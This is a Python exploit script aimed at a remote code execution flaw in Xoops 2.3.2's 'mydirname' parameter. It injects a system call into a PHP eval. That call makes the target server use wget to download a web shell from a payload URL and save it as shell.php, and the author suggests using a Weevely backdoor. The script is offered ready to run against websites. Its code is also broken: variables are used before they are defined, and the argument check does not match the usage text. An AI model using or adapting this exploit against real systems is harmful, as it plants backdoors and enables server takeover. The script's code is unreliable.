#!/usr/bin/env python # Title: Xoops 2.3.2 "mydirname" Remote Code Execution Exploit # CVE: ????-???? # Reference: http://secunia.com/advisories/33435/ # Author: infodox # Site: http://insecurety.net/ # Twitter: @info_dox # Old news, just practicin' my python :3 import requests import sys vulnurl = "/xoops_lib/modules/protector/onupdate.php?" # Oh look, the vuln URL! xpl = "mydirname=a(){}system(%27"+cmd+"%27);%20function%20v" cmd = "wget%20"+payloadurl+"%20-O%20shell.php" payloadurl = "http://example.com/shell.php" # Your evil PHP code goes here right? def banner(): print """ Xoops "mydirname" remote code execution exploit. Basically PHP Eval() bug :) Rather lame exploit I must admit, just practicing my Python. To use, just run it against the host and pray. I advise using a Weevely payload. ~infodox """ if len(sys.argv) != 4: banner() print "Usage: ./x2.py " print "Where is the vulnerable website." print "Example: ./x2.py http://lamesite.com" sys.exit(1) banner() target = sys.argv[1] pwnme = target + vulnurl + xpl print "[+] Running Exploit..." requests.get(pwnme) print "[?] Gotshell?" print "[+] Shell should be at "+target+"/xoops_lib/modules/protector/shell.php"